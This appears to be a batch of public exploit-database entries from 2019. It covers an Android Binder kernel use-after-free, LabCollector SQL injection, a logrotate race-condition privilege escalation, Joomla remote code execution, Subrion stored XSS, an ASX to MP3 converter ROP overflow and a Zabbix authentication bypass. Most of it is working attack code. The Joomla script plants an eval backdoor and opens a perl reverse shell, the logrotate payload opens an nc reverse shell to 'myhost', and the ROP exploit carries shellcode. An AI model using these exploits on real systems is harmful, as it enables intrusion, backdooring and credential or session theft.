“binder_poll() passes the thread->wait waitqueue that
can be slept on for work. When a thread that uses
epoll explicitly exits using BINDER_THREAD_EXIT,
the waitqueue is freed, but it is never removed
from the corresponding epoll data structure. When
the process subsequently exits, the epoll cleanup
code tries to access the waitlist, which results in
a use-after-free.”
The following proof-of-concept will show the UAF crash in a kernel build with KASAN (from initial upstream bugreport at https://lore.kernel.org/lkml/20171213000517.GB62138@gmail.com/):
#include <fcntl.h>
#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <unistd.h>
#define BINDER_THREAD_EXIT 0x40046208ul
int main()
{
int fd, epfd;
struct epoll_event event = { .events = EPOLLIN };
fd = open("/dev/binder0", O_RDONLY);
epfd = epoll_create(1000);
epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
ioctl(fd, BINDER_THREAD_EXIT, NULL);
}
This issue was patched in Dec 2017 in the 4.14 LTS kernel [1], AOSP android 3.18 kernel [2], AOSP android 4.4 kernel [3], and AOSP android 4.9 kernel [4], but the Pixel 2 with most recent security bulletin is still vulnerable based on source code review.
Other devices which appear to be vulnerable based on source code review are (referring to 8.x releases unless otherwise stated):
1) Pixel 2 with Android 9 and Android 10 preview (https://android.googlesource.com/kernel/msm/+/refs/heads/android-msm-wahoo-4.4-q-preview-6/)
2) Huawei P20
3) Xiaomi Redmi 5A
4) Xiaomi Redmi Note 5
5) Xiaomi A1
6) Oppo A3
7) Moto Z3
8) Oreo LG phones (run same kernel according to website)
9) Samsung S7, S8, S9
*We have evidence that this bug is being used in the wild. Therefore, this bug is subject to a 7 day disclosure deadline. After 7 days elapse or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public.*
Confirmed this proof-of-concept works on Pixel 2 with build walleye_kasan-userdebug 10 QP1A.191105.0035899767, causing KASAN crash. Proof of concept C code and new.out attached. KASAN console output attached.
I received technical information from TAG and external parties about an Android exploit that is attributed to NSO group. These details included facts about the bug and exploit methodology, including but not limited to:
* It is a kernel privilege escalation using a use-after free vulnerability, accessible from inside the Chrome sandbox.
* The bug was allegedly being used or sold by the NSO Group.
* It works on Pixel 1 and 2, but not Pixel 3 and 3a.
* It was patched in the Linux kernel >= 4.14 without a CVE.
* CONFIG_DEBUG_LIST breaks the primitive.
* CONFIG_ARM64_UAO hinders exploitation.
* The vulnerability is exploitable in Chrome's renderer processes under Android's 'isolated_app' SELinux domain, leading to us suspecting Binder as the vulnerable component.
* The exploit requires little or no per-device customization.
* A list of affected and unaffected devices and their versions, and more. A non-exhaustive list is available in the description of this issue.
Using these details, I have determined that the bug being used is almost certainly the one in this report as I ruled out other potential candidates by comparing patches. A more detailed explanation of this bug and the methodology to identify it will be written up in a forthcoming blog post when I find the time.
We do not currently have a sample of the exploit. Without samples, we have neither been able to confirm the timeline nor the payload.
The bug is a local privilege escalation vulnerability that allows for a full compromise of a vulnerable device. If the exploit is delivered via the web, it only needs to be paired with a renderer exploit, as this vulnerability is accessible through the sandbox.
I’ve attached a local exploit proof-of-concept to demonstrate how this bug can be used to gain arbitrary kernel read/write when run locally. It only requires untrusted app code execution to exploit CVE-2019-2215. I’ve also attached a screenshot (success.png) of the POC running on a Pixel 2, running Android 10 with security patch level September 2019 (google/walleye/walleye:10/QP1A.190711.020/5800535:user/release-keys).
Vendor statement from Android:
"This issue is rated as High severity on Android and by itself requires installation of a malicious application for potential exploitation. Any other vectors, such as via web browser, require chaining with an additional exploit. We have notified Android partners and the patch is available on the Android Common Kernel. Pixel 3 and 3a devices are not vulnerable while Pixel 1 and 2 devices will be receiving updates for this issue as part of the October update."
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47463.zip
# Exploit Title: LabCollector (Laboratory Information System) 5.423 - Multiples SQL Injection
# Date: 09/09/2019
# Software Links/Project: https://www.labcollector.com/clientarea/downloads.php
# Version: LabCollector (Laboratory Information System) 5.423
# Exploit Author: Carlos Avila
# Category: webapps
# Tested on: Debian 9 / Win10
# Contact: http://twitter.com/badboy_nt
1. Description
LabCollector Lab Services Manager (LSM) is a network based application that helps laboratories, core facilities, biotechs providing services to clients or partners to keep track of samples arriving for processing, track status and generate reports. Billing management is also possible. LSM is a simple and complete lab services LIMS software. Totally configurable by the user, it can be adapted to any situation.
This allows unauthenticated remote attacker to execute arbitrary SQL commands and obtain private information. Admin or users valid credentials aren't required. In a deeper analysis other pages are also affected with the vulnerability over others inputs.
It written in PHP it is vulnerable to SQL Injection on multiples occurrences. The parameters affected are detailed below:
http://192.168.0.102/labcollector/html/login.php [parameters affected via POST method: login]
http://192.168.0.102/labcollector/html/retrieve_password.php (parameters affected via POST method: user_name)
2. Proof of Concept
----------------------------------------------------------------------------------------------------------------------------------
Post Request:
POST /labcollector/html/login.php HTTP/1.1
Host: 192.168.0.102
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 113
DNT: 1
Connection: close
Referer: http://192.168.0.102/labcollector/html/login.php
Cookie: PHPSESSID=cio2kpq89f4da0b1fhakfn68k7
Upgrade-Insecure-Requests: 1
login=test&pass=hola&action=login&Submit=Sign+In
----------------------------------------------------------------------------------------------------------------------------------
All tests have been performed in a controlled and local environment.
sunday:sqlmap badboy_nt$ python sqlmap.py -r SQLI-LabCollectorLogin --random-agent --tamper randomcase -p login --dbms mysql --dbs
sunday:sqlmap badboy_nt$ python sqlmap.py -r SQLI-LabCollectorLogin2 --random-agent --tamper randomcase -p user_name --dbms mysql -f
3. Solution:
Application inputs must be validated correctly throughout the development of the project.
# Exploit Title: logrotten 3.15.1 - Privilege Escalation
# Date: 2019-10-04
# Exploit Author: Wolfgang Hotwagner
# Vendor Homepage: https://github.com/logrotate/logrotate
# Software Link: https://github.com/logrotate/logrotate/releases/tag/3.15.1
# Version: all versions through 3.15.1
# Tested on: Debian GNU/Linux 9.5 (stretch)
## Brief description
- logrotate is prone to a race condition after renaming the logfile.
- If logrotate is executed as root, with option that creates a
file ( like create, copy, compress, etc.) and the user is in control
of the logfile path, it is possible to abuse a race-condition to write
files in ANY directories.
- An attacker could elevate his privileges by writing reverse-shells into
directories like "/etc/bash_completition.d/".
## Precondition for privilege escalation
- Logrotate has to be executed as root
- The logpath needs to be in control of the attacker
- Any option that creates files is set in the logrotate configuration
## Tested version
- Debian GNU/Linux 9.5 (stretch)
- Amazon Linux 2 AMI (HVM)
- Ubuntu 18.04.1
- logrotate 3.8.6
- logrotate 3.11.0
- logrotate 3.15.0
## Compile
- gcc -o logrotten logrotten.c
## Prepare payload
```
echo "if [ `id -u` -eq 0 ]; then (/bin/nc -e /bin/bash myhost 3333 &);
fi" > payloadfile
```
## Run exploit
If "create"-option is set in logrotate.cfg:
```
./logrotten -p ./payloadfile /tmp/log/pwnme.log
```
If "compress"-option is set in logrotate.cfg:
```
./logrotten -p ./payloadfile -c -s 4 /tmp/log/pwnme.log
```
## Known Problems
- It's hard to win the race inside a docker container or on a lvm2-volume
## Mitigation
- make sure that logpath is owned by root
- use option "su" in logrotate.cfg
- use selinux or apparmor
## Author
- Wolfgang Hotwagner
## References
- https://github.com/whotwagner/logrotten
-
https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition
-
https://tech.feedyourhead.at/content/abusing-a-race-condition-in-logrotate-to-elevate-privileges
- https://www.ait.ac.at/themen/cyber-security/ait-sa-20190930-01/
-
https://tech.feedyourhead.at/content/privilege-escalation-in-groonga-httpd
logrotten.c
/*
* logrotate poc exploit
*
* [ Brief description ]
* - logrotate is prone to a race condition after renaming the logfile.
* - If logrotate is executed as root and the user is in control of the logfile path, it is possible to abuse a race-condition to write files in ANY directories.
* - An attacker could elevate his privileges by writing reverse-shells into
* directories like "/etc/bash_completition.d/".
*
* [ Precondition for privilege escalation ]
* - Logrotate needs to be executed as root
* - The logpath needs to be in control of the attacker
* - Any option(create,compress,copy,etc..) that creates a new file is set in the logrotate configuration.
*
* [ Tested version ]
* - Debian GNU/Linux 9.5 (stretch)
* - Amazon Linux 2 AMI (HVM)
* - Ubuntu 18.04.1
* - logrotate 3.8.6
* - logrotate 3.11.0
* - logrotate 3.15.0
*
* [ Compile ]
* - gcc -o logrotten logrotten.c
*
* [ Prepare payload ]
* - echo "if [ `id -u` -eq 0 ]; then (/bin/nc -e /bin/bash myhost 3333 &); fi" > payloadfile
*
* [ Run exploit ]
* - nice -n -20 ./logrotten -p payloadfile /tmp/log/pwnme.log
* - if compress is used: nice -n -20 ./logrotten -c -s 3 -p payloadfile /tmp/log/pwnme.log.1
*
* [ Known Problems ]
* - It's hard to win the race inside a docker container or on a lvm2-volume
*
* [ Mitigation ]
* - make sure that logpath is owned by root
* - use su-option in logrotate.cfg
* - use selinux or apparmor
*
* [ Author ]
* - Wolfgang Hotwagner
*
* [ Contact ]
* - https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition
* - https://tech.feedyourhead.at/content/abusing-a-race-condition-in-logrotate-to-elevate-privileges
* - https://github.com/whotwagner/logrotten
*/
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/inotify.h>
#include <unistd.h>
#include <string.h>
#include <alloca.h>
#include <sys/stat.h>
#include <getopt.h>
#define EVENT_SIZE ( sizeof (struct inotify_event) )
#define EVENT_BUF_LEN ( 1024 * ( EVENT_SIZE + 16 ) )
/* use TARGETDIR without "/" at the end */
#define TARGETDIR "/etc/bash_completion.d"
#define PROGNAME "logrotten"
void usage(const char* progname)
{
printf("usage: %s [OPTION...] <logfile>\n",progname);
printf(" %-3s %-22s %-30s\n","-h","--help","Print this help");
printf(" %-3s %-22s %-30s\n","-t","--targetdir <dir>","Abosulte path to the target directory");
printf(" %-3s %-22s %-30s\n","-p","--payloadfile <file>","File that contains the payload");
printf(" %-3s %-22s %-30s\n","-s","--sleep <sec>","Wait before writing the payload");
printf(" %-3s %-22s %-30s\n","-d","--debug","Print verbose debug messages");
printf(" %-3s %-22s %-30s\n","-c","--compress","Hijack compressed files instead of created logfiles");
printf(" %-3s %-22s %-30s\n","-o","--open","Use IN_OPEN instead of IN_MOVED_FROM");
}
int main(int argc, char* argv[] )
{
int length, i = 0;
int j = 0;
int index = 0;
int fd;
int wd;
char buffer[EVENT_BUF_LEN];
uint32_t imask = IN_MOVED_FROM;
char *payloadfile = NULL;
char *logfile = NULL;
char *targetdir = NULL;
char *logpath;
char *logpath2;
char *targetpath;
int debug = 0;
int sleeptime = 1;
char ch;
const char *p;
FILE *source, *target;
int c;
while(1)
{
int this_option_optind = optind ? optind : 1;
int option_index = 0;
static struct option long_options[] = {
{"payloadfile", required_argument, 0, 0},
{"targetdir", required_argument, 0, 0},
{"sleep", required_argument, 0, 0},
{"help", no_argument, 0, 0},
{"open", no_argument, 0, 0},
{"debug", no_argument, 0, 0},
{"compress", no_argument, 0, 0},
{0,0,0,0}
};
c = getopt_long(argc,argv,"hocdp:t:s:", long_options, &option_index);
if (c == -1)
break;
switch(c)
{
case 'p':
payloadfile = alloca((strlen(optarg)+1)*sizeof(char));
memset(payloadfile,'\0',strlen(optarg)+1);
strncpy(payloadfile,optarg,strlen(optarg));
break;
case 't':
targetdir = alloca((strlen(optarg)+1)*sizeof(char));
memset(targetdir,'\0',strlen(optarg)+1);
strncpy(targetdir,optarg,strlen(optarg));
break;
case 'h':
usage(PROGNAME);
exit(EXIT_FAILURE);
break;
case 'd':
debug = 1;
break;
case 'o':
imask = IN_OPEN;
break;
case 'c':
imask = IN_OPEN;
break;
case 's':
sleeptime = atoi(optarg);
break;
default:
usage(PROGNAME);
exit(EXIT_FAILURE);
break;
}
}
if(argc == (optind+1))
{
logfile = alloca((strlen(argv[optind])+1)*sizeof(char));
memset(logfile,'\0',strlen(argv[optind])+1);
strncpy(logfile,argv[optind],strlen(argv[optind]));
}
else
{
usage(PROGNAME);
exit(EXIT_FAILURE);
}
for(j=strlen(logfile); (logfile[j] != '/') && (j != 0); j--);
index = j+1;
p = &logfile[index];
logpath = alloca(strlen(logfile)*sizeof(char));
logpath2 = alloca((strlen(logfile)+2)*sizeof(char));
if(targetdir != NULL)
{
targetpath = alloca( ( (strlen(targetdir)) + (strlen(p)) +3) *sizeof(char));
strcat(targetpath,targetdir);
}
else
{
targetdir= TARGETDIR;
targetpath = alloca( ( (strlen(TARGETDIR)) + (strlen(p)) +3) *sizeof(char));
targetpath[0] = '\0';
strcat(targetpath,TARGETDIR);
}
strcat(targetpath,"/");
strcat(targetpath,p);
for(j = 0; j < index; j++)
logpath[j] = logfile[j];
logpath[j-1] = '\0';
strcpy(logpath2,logpath);
logpath2[strlen(logpath)] = '2';
logpath2[strlen(logpath)+1] = '\0';
/*creating the INOTIFY instance*/
fd = inotify_init();
if( debug == 1)
{
printf("logfile: %s\n",logfile);
printf("logpath: %s\n",logpath);
printf("logpath2: %s\n",logpath2);
printf("targetpath: %s\n",targetpath);
printf("targetdir: %s\n",targetdir);
printf("p: %s\n",p);
}
/*checking for error*/
if ( fd < 0 ) {
perror( "inotify_init" );
}
wd = inotify_add_watch( fd,logpath, imask );
printf("Waiting for rotating %s...\n",logfile);
while(1)
{
i=0;
length = read( fd, buffer, EVENT_BUF_LEN );
while (i < length) {
struct inotify_event *event = ( struct inotify_event * ) &buffer[ i ]; if ( event->len ) {
if ( event->mask & imask ) {
if(strcmp(event->name,p) == 0)
{
rename(logpath,logpath2);
symlink(targetdir,logpath);
printf("Renamed %s with %s and created symlink to %s\n",logpath,logpath2,targetdir);
if(payloadfile != NULL)
{
printf("Waiting %d seconds before writing payload...\n",sleeptime);
sleep(sleeptime);
source = fopen(payloadfile, "r");
if(source == NULL)
exit(EXIT_FAILURE);
target = fopen(targetpath, "w");
if(target == NULL)
{
fclose(source);
exit(EXIT_FAILURE);
}
while ((ch = fgetc(source)) != EOF)
fputc(ch, target);
chmod(targetpath,S_IRUSR | S_IXUSR | S_IRGRP | S_IXGRP | S_IROTH | S_IXOTH);
fclose(source);
fclose(target);
}
inotify_rm_watch( fd, wd );
close( fd );
printf("Done!\n");
exit(EXIT_SUCCESS);
}
}
}
i += EVENT_SIZE + event->len;
}
}
/*removing from the watch list.*/
inotify_rm_watch( fd, wd );
/*closing the INOTIFY instance*/
close( fd );
exit(EXIT_SUCCESS);
}
# Exploit Title: Joomla 3.4.6 - 'configuration.php' Remote Code Execution
# Google Dork: N/A
# Date: 2019-10-02
# Exploit Author: Alessandro Groppo @Hacktive Security
# Vendor Homepage: https//www.joomla.it/
# Software Link: https://downloads.joomla.org/it/cms/joomla3/3-4-6
# Version: 3.0.0 --> 3.4.6
# Tested on: Linux
# CVE : N/A
#
# Technical details: https://blog.hacktivesecurity.com/index.php?controller=post&action=view&id_post=41
# Github: https://github.com/kiks7/rusty_joomla_rce
#
# The exploitation is implanting a backdoor in /configuration.php file in the root directory
# with an eval in order to be more suitable for all environments, but it is also more intrusive.
# If you don't like this way, you can replace the get_backdoor_pay()
# with get_pay('php_function', 'parameter') like get_pay('system','rm -rf /')
#!/usr/bin/env python3
import requests
from bs4 import BeautifulSoup
import sys
import string
import random
import argparse
from termcolor import colored
PROXS = {'http':'127.0.0.1:8080'}
PROXS = {}
def random_string(stringLength):
letters = string.ascii_lowercase
return ''.join(random.choice(letters) for i in range(stringLength))
backdoor_param = random_string(50)
def print_info(str):
print(colored("[*] " + str,"cyan"))
def print_ok(str):
print(colored("[+] "+ str,"green"))
def print_error(str):
print(colored("[-] "+ str,"red"))
def print_warning(str):
print(colored("[!!] " + str,"yellow"))
def get_token(url, cook):
token = ''
resp = requests.get(url, cookies=cook, proxies = PROXS)
html = BeautifulSoup(resp.text,'html.parser')
# csrf token is the last input
for v in html.find_all('input'):
csrf = v
csrf = csrf.get('name')
return csrf
def get_error(url, cook):
resp = requests.get(url, cookies = cook, proxies = PROXS)
if 'Failed to decode session object' in resp.text:
#print(resp.text)
return False
#print(resp.text)
return True
def get_cook(url):
resp = requests.get(url, proxies=PROXS)
#print(resp.cookies)
return resp.cookies
def gen_pay(function, command):
# Generate the payload for call_user_func('FUNCTION','COMMAND')
template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
#payload = command + ' || $a=\'http://wtf\';'
payload = 'http://l4m3rz.l337/;' + command
# Following payload will append an eval() at the enabled of the configuration file
#payload = 'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'test\\\'])) eval($_POST[\\\'test\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
function_len = len(function)
final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
return final
def make_req(url , object_payload):
# just make a req with object
print_info('Getting Session Cookie ..')
cook = get_cook(url)
print_info('Getting CSRF Token ..')
csrf = get_token( url, cook)
user_payload = '\\0\\0\\0' * 9
padding = 'AAA' # It will land at this padding
working_test_obj = 's:1:"A":O:18:"PHPObjectInjection":1:{s:6:"inject";s:10:"phpinfo();";}'
clean_object = 'A";s:5:"field";s:10:"AAAAABBBBB' # working good without bad effects
inj_object = '";'
inj_object += object_payload
inj_object += 's:6:"return";s:102:' # end the object with the 'return' part
password_payload = padding + inj_object
params = {
'username': user_payload,
'password': password_payload,
'option':'com_users',
'task':'user.login',
csrf :'1'
}
print_info('Sending request ..')
resp = requests.post(url, proxies = PROXS, cookies = cook,data=params)
return resp.text
def get_backdoor_pay():
# This payload will backdoor the the configuration .PHP with an eval on POST request
function = 'assert'
template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
# payload = command + ' || $a=\'http://wtf\';'
# Following payload will append an eval() at the enabled of the configuration file
payload = 'file_put_contents(\'configuration.php\',\'if(isset($_POST[\\\'' + backdoor_param +'\\\'])) eval($_POST[\\\''+backdoor_param+'\\\']);\', FILE_APPEND) || $a=\'http://wtf\';'
function_len = len(function)
final = template.replace('PAYLOAD',payload).replace('LENGTH', str(len(payload))).replace('FUNC_NAME', function).replace('FUNC_LEN', str(len(function)))
return final
def check(url):
check_string = random_string(20)
target_url = url + 'index.php/component/users'
html = make_req(url, gen_pay('print_r',check_string))
if check_string in html:
return True
else:
return False
def ping_backdoor(url,param_name):
res = requests.post(url + '/configuration.php', data={param_name:'echo \'PWNED\';'}, proxies = PROXS)
if 'PWNED' in res.text:
return True
return False
def execute_backdoor(url, payload_code):
# Execute PHP code from the backdoor
res = requests.post(url + '/configuration.php', data={backdoor_param:payload_code}, proxies = PROXS)
print(res.text)
def exploit(url, lhost, lport):
# Exploit the target
# Default exploitation will append en eval function at the end of the configuration.pphp
# as a bacdoor. btq if you do not want this use the funcction get_pay('php_function','parameters')
# e.g. get_payload('system','rm -rf /')
# First check that the backdoor has not been already implanted
target_url = url + 'index.php/component/users'
make_req(target_url, get_backdoor_pay())
if ping_backdoor(url, backdoor_param):
print_ok('Backdoor implanted, eval your code at ' + url + '/configuration.php in a POST with ' + backdoor_param)
print_info('Now it\'s time to reverse, trying with a system + perl')
execute_backdoor(url, 'system(\'perl -e \\\'use Socket;$i="'+ lhost +'";$p='+ str(lport) +';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\\\'\');')
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('-t','--target',required=True,help='Joomla Target')
parser.add_argument('-c','--check', default=False, action='store_true', required=False,help='Check only')
parser.add_argument('-e','--exploit',default=False,action='store_true',help='Check and exploit')
parser.add_argument('-l','--lhost', required='--exploit' in sys.argv, help='Listener IP')
parser.add_argument('-p','--lport', required='--exploit' in sys.argv, help='Listener port')
args = vars(parser.parse_args())
url = args['target']
if(check(url)):
print_ok('Vulnerable')
if args['exploit']:
exploit(url, args['lhost'], args['lport'])
else:
print_info('Use --exploit to exploit it')
else:
print_error('Seems NOT Vulnerable ;/')
# Title: Subrion 4.2.1 - 'Email' Persistant Cross-Site Scripting
# Date: 2019-10-07
# Author: Min Ko Ko (Creatigon)
# Vendor Homepage: https://subrion.org/
# CVE : https://nvd.nist.gov/vuln/detail/CVE-2019-17225
# Website : https://l33thacker.com
# Description : Allows XSS via the panel/members/ Username, Full Name, or
# Email field, aka an "Admin Member JSON Update" issue.
First login the panel with user credential, Go to member tag from left menu.
http://localhost/panel/members/
Username, Full Name, Email are editable with double click on it. Insert the
following payload
<img src=x onerror=alert(document.cookie)>
# Exploit Title: ASX to MP3 converter 3.1.3.7 - '.asx' Local Stack Overflow (DEP)
# Google Dork: N/A
# Date: 2019-10-06
# Exploit Author: max7253
# Vendor Homepage: http://www.mini-stream.net/
# Software Link: https://www.exploit-db.com/apps/f4da5b43ca4b035aae55dfa68daa67c9-ASXtoMP3Converter.exe
# Version: 3.1.3.7.2010.11.05
# Tested on: Microsoft Windows 7 Enterprise, 6.1.7601 Service Pack 1 Build 7601, x64-based PC
# CVE : N/A
# Note: There is a similar exploit published but it doesn't work in the OS I used:
# https://www.exploit-db.com/exploits/42963
# This exploit in the ROP chain uses addresses from ASLR modules. Not sure what OS that exploit was tested on.
import struct
file = 'fuzz_rop.asx'
#Tested on
#OS Name: Microsoft Windows 7 Enterprise
#OS Version: 6.1.7601 Service Pack 1 Build 7601
#System Type: x64-based PC
#msfvenom -p windows/exec cmd=calc.exe -a x86 -b '\x00\x09\x0a' -f python
buf = b""
buf += b"\xda\xd7\xbf\xf1\xca\xd1\x3f\xd9\x74\x24\xf4\x5a\x29"
buf += b"\xc9\xb1\x31\x83\xc2\x04\x31\x7a\x14\x03\x7a\xe5\x28"
buf += b"\x24\xc3\xed\x2f\xc7\x3c\xed\x4f\x41\xd9\xdc\x4f\x35"
buf += b"\xa9\x4e\x60\x3d\xff\x62\x0b\x13\x14\xf1\x79\xbc\x1b"
buf += b"\xb2\x34\x9a\x12\x43\x64\xde\x35\xc7\x77\x33\x96\xf6"
buf += b"\xb7\x46\xd7\x3f\xa5\xab\x85\xe8\xa1\x1e\x3a\x9d\xfc"
buf += b"\xa2\xb1\xed\x11\xa3\x26\xa5\x10\x82\xf8\xbe\x4a\x04"
buf += b"\xfa\x13\xe7\x0d\xe4\x70\xc2\xc4\x9f\x42\xb8\xd6\x49"
buf += b"\x9b\x41\x74\xb4\x14\xb0\x84\xf0\x92\x2b\xf3\x08\xe1"
buf += b"\xd6\x04\xcf\x98\x0c\x80\xd4\x3a\xc6\x32\x31\xbb\x0b"
buf += b"\xa4\xb2\xb7\xe0\xa2\x9d\xdb\xf7\x67\x96\xe7\x7c\x86"
buf += b"\x79\x6e\xc6\xad\x5d\x2b\x9c\xcc\xc4\x91\x73\xf0\x17"
buf += b"\x7a\x2b\x54\x53\x96\x38\xe5\x3e\xfc\xbf\x7b\x45\xb2"
buf += b"\xc0\x83\x46\xe2\xa8\xb2\xcd\x6d\xae\x4a\x04\xca\x40"
buf += b"\x01\x05\x7a\xc9\xcc\xdf\x3f\x94\xee\x35\x03\xa1\x6c"
buf += b"\xbc\xfb\x56\x6c\xb5\xfe\x13\x2a\x25\x72\x0b\xdf\x49"
buf += b"\x21\x2c\xca\x29\xa4\xbe\x96\x83\x43\x47\x3c\xdc"
payload = "http://"
payload += "A" * 17417 + struct.pack('<L', 0x1002D038) + "CCCC"
## Save allocation type (0x1000) in EDX
payload += struct.pack('<L', 0x10047F4D) # ADC EDX,ESI # POP ESI # RETN
payload += struct.pack('<L', 0x11111111)
payload += struct.pack('<L', 0x10029B8C) # XOR EDX,EDX # RETN
payload += struct.pack('<L', 0x1002D493) # POP EDX # RETN
payload += struct.pack('<L', 0xEEEEFEEF)
payload += struct.pack('<L', 0x10047F4D) # ADC EDX,ESI # POP ESI # RETN
payload += struct.pack('<L', 0x41414141)
## Save the address of VirtualAlloc() in ESI
payload += struct.pack('<L', 0x1002fade) # POP EAX # RETN [MSA2Mfilter03.dll]
payload += struct.pack('<L', 0x1004f060) # ptr to &VirtualAlloc() [IAT MSA2Mfilter03.dll]
payload += struct.pack('<L', 0x1003239f) # MOV EAX,DWORD PTR DS:[EAX] # RETN [MSA2Mfilter03.dll]
payload += struct.pack('<L', 0x10040754) # PUSH EAX # POP ESI # POP EBP # LEA EAX,DWORD PTR DS:[ECX+EAX+D] # POP EBX # RETN
payload += struct.pack('<L', 0x41414141)
payload += struct.pack('<L', 0x41414141)
## Save the size of the block in EBX
payload += struct.pack('<L', 0x1004d881) # XOR EAX,EAX # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x1003b34d) # ADD EAX,29 # RETN
payload += struct.pack('<L', 0x10034735) # PUSH EAX # ADD AL,5D # MOV EAX,1 # POP EBX # RETN
## Save the address of (# ADD ESP,8 # RETN) in EBP
payload += struct.pack('<L', 0x10031c6c) # POP EBP # RETN
payload += struct.pack('<L', 0x10012316) # ADD ESP,8 # RETN
#payload += struct.pack('<L', 0x1003df73) # & PUSH ESP # RETN
## Save memory protection code (0x40) in ECX
payload += struct.pack('<L', 0x1002ca22) # POP ECX # RETN
payload += struct.pack('<L', 0xFFFFFFFF)
payload += struct.pack('<L', 0x10031ebe) # INC ECX # AND EAX,8 # RETN
payload += struct.pack('<L', 0x10031ebe) # INC ECX # AND EAX,8 # RETN
payload += struct.pack('<L', 0x1002a5b7) # ADD ECX,ECX # RETN
payload += struct.pack('<L', 0x1002a5b7) # ADD ECX,ECX # RETN
payload += struct.pack('<L', 0x1002a5b7) # ADD ECX,ECX # RETN
payload += struct.pack('<L', 0x1002a5b7) # ADD ECX,ECX # RETN
payload += struct.pack('<L', 0x1002a5b7) # ADD ECX,ECX # RETN
payload += struct.pack('<L', 0x1002a5b7) # ADD ECX,ECX # RETN
## Save ROP-NOP in EDI
payload += struct.pack('<L', 0x1002e346) # POP EDI # RETN
payload += struct.pack('<L', 0x1002D038) # RETN
## Save NOPs in EAX
#payload += struct.pack('<L', 0x1003bca4) # POP EAX # RETN [MSA2Mfilter03.dll]
#payload += struct.pack('<L', 0x90909090) # nop
## Set up the EAX register to contain the address of # PUSHAD #RETN and JMP to this address
payload += struct.pack('<L', 0x1002E516) # POP EAX # RETN
payload += struct.pack('<L', 0xA4E2F275)
payload += struct.pack('<L', 0x1003efe2) # ADD EAX,5B5D5E5F # RETN
payload += struct.pack('<L', 0x10040ce5) # PUSH EAX # RETN
payload += "\x90" * 4
payload += struct.pack('<L', 0x1003df73) # & PUSH ESP # RETN
payload += "\x90" * 20
payload += buf
f = open(file,'w')
f.write(payload)
f.close()
# Exploit Title: Zabbix 4.2 - Authentication Bypass
# Date: 2019-10-06
# Exploit Author: Milad Khoshdel
# Software Link: https://www.zabbix.com/download
# Version: Zabbix [2.x , 3.x , 4.x] Tested on latest version Zabbix 4.2
# Tested on: Linux Apache/2 PHP/7.2
# Google Dork: inurl:zabbix/zabbix.php
=========
Vulnerable Page:
=========
/zabbix.php?action=dashboard.view&dashboardid=1
=========
POC:
=========
Attacker can bypass login page and access to dashboard page and create [Dashboard/Report/Screen/Map] without any Username/Password and anonymously.
All Created elements [Dashboard/Report/Screen/Map] is accessible by other users and admin.
REGUEST -->
GET /zabbix.php?action=dashboard.view&dashboardid=1 HTTP/1.1
Host: [HOST-IP]
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
RESPONSE -->
HTTP/1.1 200 OK
Date: Sun, 06 Oct 2019 11:40:18 GMT
Server: Apache/2.4.29 (Ubuntu)
Set-Cookie: zbx_sessionid=a8d192ec833bd4476e0f6a550e6e5bed; HttpOnly
Set-Cookie: PHPSESSID=i2j8kt08m7dp3ojstqeaod9joo; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
